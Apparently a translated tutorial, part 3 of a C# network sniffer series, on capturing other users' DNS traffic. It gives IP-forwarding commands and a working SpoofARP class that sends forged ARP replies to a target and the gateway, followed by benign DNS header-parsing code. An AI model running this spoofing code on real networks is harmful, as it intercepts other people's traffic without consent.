网络嗅探器和分析器程序 - 第 3 部分





5.00/5 (9投票s)
使用 C# .NET 6.0 Windows Form (Sharppcap, PacketDotNet) 编写的网络嗅探器和分析程序
阅读本文第一部分,请点击 这里。
阅读本文第二部分,请点击 这里。
引言
在本部分中,我们将学习如何通过 ARP 欺骗在同一网络中的其他用户处嗅探或捕获 DNS 数据包。
ARP
ARP 是什么意思?
ARP:“地址解析协议”是一种工作在第二层的网络协议,当已知 IP 地址但未知关联的 MAC 地址时,用于在本地区域网络中查找 MAC 地址。
下图显示了它的工作原理。
现在我们已经了解了 ARP 协议的工作原理,我们将继续下一步,即学习 ARP 欺骗是什么意思以及它是如何工作的。
ARP 欺骗是什么意思?
这是一种中间人攻击,它欺骗 ARP 请求,并在目标设备的 ARP 表中分配一个假的 MAC 地址,以重定向数据流量。因此,目标是记录目标系统的所有数据流量,并在必要时对其进行操作。
工作原理
攻击者通过向等待目标设备真实 ARP 请求的目标设备发送假的 ARP 响应来泛滥网络,此时当目标设备发送请求时,它将收到假的 ARP 响应。因此,目标设备 ARP 缓存中的 MAC 地址将被更改为一个假的,从而流量将被重定向,并从攻击者的机器流向网络网关。
下图显示了 ARP 欺骗前后流量和 ARP 缓存的外观。
代码
在开始之前,我们需要安装所需的库。以下库是使我们的程序正常工作所必需的:Packet.Net =>
使用 Paket-Manager-Console,输入以下命令
NuGet\Install-Package PacketDotNet -Version 1.4.7
sharppcap 使用 Paket-Manager-Console,输入以下命令
NuGet\Install-Package SharpPcap -Version 6.2.5
安装完所需的库后,我们还需要在我们的设备上安装 WinPcap https://www.winpcap.org/install/default.htm。
注意:在开始 ARP 欺骗之前,我们应该确保 IP 转发已启用,如下所示。
netsh interface ipv4 show interfaces
首先,我们列出设备中所有可用的接口或适配器,然后取 wlan 索引以在下一个命令中使用它,该命令将列出所选 wlan 的所有属性。
netsh interface ipv4 show interface idx-target-interface
如果“Forwarding
”未启用,则必须使用以下命令启用它。
netsh interface ipv4 set interface idx-target-interface forwarding="enabled"
现在我们准备开始编码了。
public class SpoofARP
{
#region --- Class Data -------------------------------
private object syncRoot = new Object();
private bool _isRunning = false;
#endregion
#region --- Constructor ------------------------------
public SpoofARP(ILiveDevice liveDevice, IPAddress srcIpAddresse,
PhysicalAddress srcMacAddr, IPAddress desIpAddresse,
PhysicalAddress desMacAddr)
{
Adapter = liveDevice;
SrcIpAddresse = srcIpAddresse;
SrcMACAddresse = srcMacAddr;
DesIpAddresse = desIpAddresse;
DesMACAddresse = desMacAddr;
}
#endregion
#region --- Public Methods ---------------------------
public void SendArpResponsesAsync()
{
lock (this.syncRoot)
{
if (TargetDevicePacket != null || GatwayPacket != null)
{
if (!this._isRunning)
{
ThreadPool.QueueUserWorkItem(_ => ThreadProc());
}
} else
{
Error = true;
}
}
}
public void StopAsync()
{
ThreadStart ts = new ThreadStart(Stop);
Thread thd = new Thread(ts);
thd.Start();
}
#endregion
#region --- Private Methods --------------------------
private void Stop()
{
lock (this.syncRoot)
{
if (this._isRunning)
{
// Tell the worker thread that it needs to abort.
this._isRunning = false;
}
}
}
private void ThreadProc()
{
this._isRunning = true;
while (this._isRunning)
{
Adapter.SendPacket(TargetDevicePacket);
Adapter.SendPacket(GatwayPacket);
Thread.Sleep(25);
}
}
#endregion
#region --- IDisposable-------------------------------
private bool disposed = false;
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (!this.disposed)
{
if (disposing)
{
// Clean up all managed resources
Stop();
}
}
// Clean up all native resources
disposed = true;
}
#endregion
#region --- Properties -------------------------------
public ILiveDevice Adapter { get; set; }
public IPAddress SrcIpAddresse { get; set; }
public PhysicalAddress SrcMACAddresse { get; set; }
public IPAddress DesIpAddresse { get; set; }
public PhysicalAddress DesMACAddresse { get; set; }
public bool Error = false;
public Packet TargetDevicePacket
{
get
{
try
{
if (SrcIpAddresse == null
|| SrcMACAddresse == null
|| DesIpAddresse == null
|| DesMACAddresse == null)
{
throw new Exception
("one or more of the required value is null");
}
else
{
EthernetPacket EthernetPacket = new EthernetPacket(
Adapter.MacAddress,
DesMACAddresse,
EthernetType.Arp);
ArpPacket ArpPacket = new ArpPacket(
ArpOperation.Response,
DesMACAddresse, DesIpAddresse,
Adapter.MacAddress,
SrcIpAddresse);
EthernetPacket.PayloadPacket = ArpPacket;
return EthernetPacket;
}
}
catch (Exception ex)
{
Error = true;
return null;
}
}
}
public Packet GatwayPacket
{
get
{
try
{
if (SrcIpAddresse == null
|| SrcMACAddresse == null
|| DesIpAddresse == null
|| DesMACAddresse == null)
{
throw new Exception
("one or more of the required value is null");
}
else
{
EthernetPacket EthernetPacket = new EthernetPacket(
Adapter.MacAddress,
SrcMACAddresse,
EthernetType.Arp);
ArpPacket ArpPacket = new ArpPacket(
ArpOperation.Response
, SrcMACAddresse
, SrcIpAddresse
, Adapter.MacAddress
, DesIpAddresse);
EthernetPacket.PayloadPacket = ArpPacket;
return EthernetPacket;
}
}
catch (Exception ex)
{
Error = true;
return null;
}
}
}
public bool IsRunning
{
get { return this._isRunning; }
}
#endregion
}
Using the Code
SpoofARP ArpSpoofer = new SpoofARP(Adapter, target, targetMac, gatway, gatwayMac);
ArpSpoofer.SendArpResponsesAsync();
现在,在欺骗了 ARP 之后,我们继续处理 DNS 数据包。这里的问题是如何分析和捕获 DNS 数据包。因此,我们将使用 sharpcap 库作为基础。在本文中,我想解释 DNS 数据包结构以及数据包的各个组成部分,它们的含义以及如何提取它们。
DNS 数据包结构
头部:定义了 12 字节长的字段,并包含有关 DNS 数据包类型和结构的通用定义信息,例如定义数据包是请求还是响应的 QR,或者关于其他数据包部分(如报头后的问题计数)的信息。
问题和资源记录(答案、权限、附加):定义了灵活数量的字段字节,表示报头后的数据包扩展,并包含实际的 DNS 信息,例如域名……
报头部分字段
名称 | 字节索引 | 第一个比特索引 | 比特数 | 估值 |
ID | 0 | 0 | 16 | 报头 ID (十六进制) |
二维码 | 2 | 0 | 1 | 0 请求 |
OPCODE | 2 | 1 | 4 | 0 标准查询 1 反向查询 2 服务器状态请求 |
AA(权威回答) | 2 | 5 | 1 | 0 非权威 1 权威 |
TC(截断) | 2 | 6 | 1 | 表示该消息已被截断 |
RD(递归请求) | 2 | 7 | 1 | 指定服务器是否需要递归回答查询 |
RA(递归可用) | 3 | 0 | 1 | 表示名称服务器是否可用递归查询支持 |
Z(零) | 3 | 1 | 3 | 保留供将来使用 |
RCODE(响应码) | 3 | 4 | 4 | 0 无错误 1 格式错误 2 服务器失败 3 名称错误 4 未实现 |
QDCount(问题数) | 4 | 0 | 16 | 问题部分条目数 |
ANCount(回答数) | 6 | 0 | 16 | 回答部分中的资源记录数 |
NSCOUNT(权威数) | 8 | 0 | 16 | 权威记录中的名称服务器资源记录数 |
ARCOUNT(附加数) | 10 | 0 | 16 | 附加记录部分中的资源数 |
现在我们了解了不同的字段以及它们在数据包中的确切位置后,我们需要知道如何使用其位置从数据包中提取字段。例如,我们将以“OPCODE
”字段为例。
该字段包含 4 位,其起始索引为 1(我们从零开始计数),一个字节有 8 位 => 11111111。在我们的示例中,我们将字段位设置为 1,其余设置为 0 => 01111000,这样我们就有了可以应用于目标字节的掩码。假设我们的目标字节是 17,其位是 00010001。首先,我们应用“and
”运算符。
00010001
&
01111000
___________
00010000 = 16
请记住,我们需要隔离字段位,现在我们需要将结果右移,有一个公式,即
Shift Value = 8 - (index + length)
=> 16 >>(8 – (1+4))
=> 16 >> 3 = 2
public class BitMask
{
int First_Bit_Index { get; set; }
int Bits_Count { get; set; }
public int Mask { get; set; }
public BitMask(int _First_Bit_Index, int _Bits_Count)
{
this.First_Bit_Index = _First_Bit_Index;
this.Bits_Count = _Bits_Count;
Mask = Create();
}
int Create()
{
string zerosByte = "00000000";
StringBuilder sb = new StringBuilder(zerosByte);
for (int i = this.First_Bit_Index;
i < First_Bit_Index + this.Bits_Count; i++)
{
sb[i] = '1';
}
return Convert.ToInt32(sb.ToString(), 2);
}
int CalculateShiftvalue(int index, int length) => 8 - (index + length);
public string Apply(byte Byte)
{
int Shift_value = CalculateShiftvalue(this.First_Bit_Index, this.Bits_Count);
if(Shift_value!= 0)
return ((Byte & Mask) >> Shift_value).ToString();
else return (Byte & Mask).ToString();
}
}
Using the Code
public DnsFieldsEnums.OP_Code_Type OP_Code
{
get
{
string OP_Code_str = new BitMask(DnsFields.OPCODE_bit_Index,
DnsFields.OPCODE_Length_bits)
.Apply(Data[DnsFields.OPCODE_Byte_Index]);
if (OP_Code_str == "0")
return DnsFieldsEnums.OP_Code_Type.Standard_Query;
else if (OP_Code_str == "1")
return DnsFieldsEnums.OP_Code_Type.Inverse_Query;
else if (OP_Code_str == "2")
return DnsFieldsEnums.OP_Code_Type.Server_Status_Request;
else return DnsFieldsEnums.OP_Code_Type.Reserved_for_future_use;
}
}
在提取了报头信息后,让我们进入下一步,即从下一个部分(问题或资源记录(答案、权限、附加))获取实际的 DNS 数据,步骤如下:
步骤 1:检查数据包是否长于 12 字节。如果长于 12 字节,则继续执行下一步,否则不执行任何操作。
步骤 2:循环处理数据包中的所有可用问题。
- 注意 1:我们将使用报头字段中的问题数 (QDCOUNT) 来知道数据包中有多少个问题。
- 注意 2:请记住在每次循环时保存到达的字节的当前索引。
步骤 3:我们提取域名
、查询类型和查询类。
步骤 4:循环处理数据包中所有可用的资源记录(按顺序:答案 -> 权限 -> 附加)。
步骤 5:我们提取域名
、RR 代码的类型、Rdata 字段中数据的类、TTL 或时间间隔(以秒为单位)、RDLENGTH
或 Rdata 字段的长度以及RDATA
,其中包含一个描述资源的字符串
。此信息的格式根据资源记录的类型和类而变化。
以及代码
public List<IDNSINFO> DNS_INFO
{
get
{
List<IDNSINFO> result = new List<IDNSINFO>();
if (Data.Length > 12)
{
int lastindex;
int CurrentIndex = 12;
for (int i = 0; i < this.Number_of_Questions; i++)
{
string name = GetDomainName(CurrentIndex, out lastindex);
string Type = ExtracktIntFromField(lastindex,2,out lastindex)
.ToString();
string Class = ExtracktIntFromField(lastindex, 2, out lastindex)
.ToString();
result.Add(new Question(DNSType.Question, name,Type, Class));
CurrentIndex = lastindex;
}
for (int i = 0; i < Number_of_Answer; i++)
{
string name = GetDomainName(CurrentIndex, out lastindex);
string Type = ExtracktIntFromField(lastindex,2,out lastindex)
.ToString();
string Class = ExtracktIntFromField(lastindex, 2, out lastindex)
.ToString();
Int64 TTL = ExtracktIntFromField(lastindex, 4, out lastindex);
Int64 Length = ExtracktIntFromField(lastindex, 2, out lastindex);
CurrentIndex =(int) (lastindex + Length);
IResourceData data = GetResourceData(lastindex, int.Parse(Type));
result.Add(new ResourceRecords(DNSType.ResourceRecords
,RRsType.Answer
, name
, Type
, Class
,TTL
,Length
, data));
}
for (int i = 0; i < Number_of_Authority; i++)
{
string name = GetDomainName(CurrentIndex, out lastindex);
string Type = ExtracktIntFromField(lastindex, 2, out lastindex).
ToString();
string Class = ExtracktIntFromField(lastindex, 2, out lastindex).
ToString();
Int64 TTL = ExtracktIntFromField(lastindex, 4, out lastindex);
Int64 Length = ExtracktIntFromField(lastindex, 2, out lastindex);
CurrentIndex = (int)(lastindex + Length);
IResourceData data = GetResourceData(lastindex, int.Parse(Type));
result.Add(new ResourceRecords(DNSType.ResourceRecords,
RRsType.Authority,
name,
Type,
Class,
TTL,
Length,
data));
}
for (int i = 0; i < Number_of_Additional; i++)
{
string name = GetDomainName(CurrentIndex, out lastindex);
string Type = ExtracktIntFromField(lastindex, 2, out lastindex).
ToString();
string Class = ExtracktIntFromField(lastindex, 2, out lastindex).
ToString();
Int64 TTL = ExtracktIntFromField(lastindex, 4, out lastindex);
Int64 Length = ExtracktIntFromField(lastindex, 2, out lastindex);
CurrentIndex = (int)(lastindex + Length);
IResourceData data = GetResourceData(lastindex, int.Parse(Type));
result.Add(new ResourceRecords(DNSType.ResourceRecords,
RRsType.Additional,
name,
Type,
Class,
TTL,
Length,
data));
}
}
return result;
}
}
在接下来的视频中,我将向您展示如何使用该程序。
历史
- 2022 年 12 月 23 日:初始版本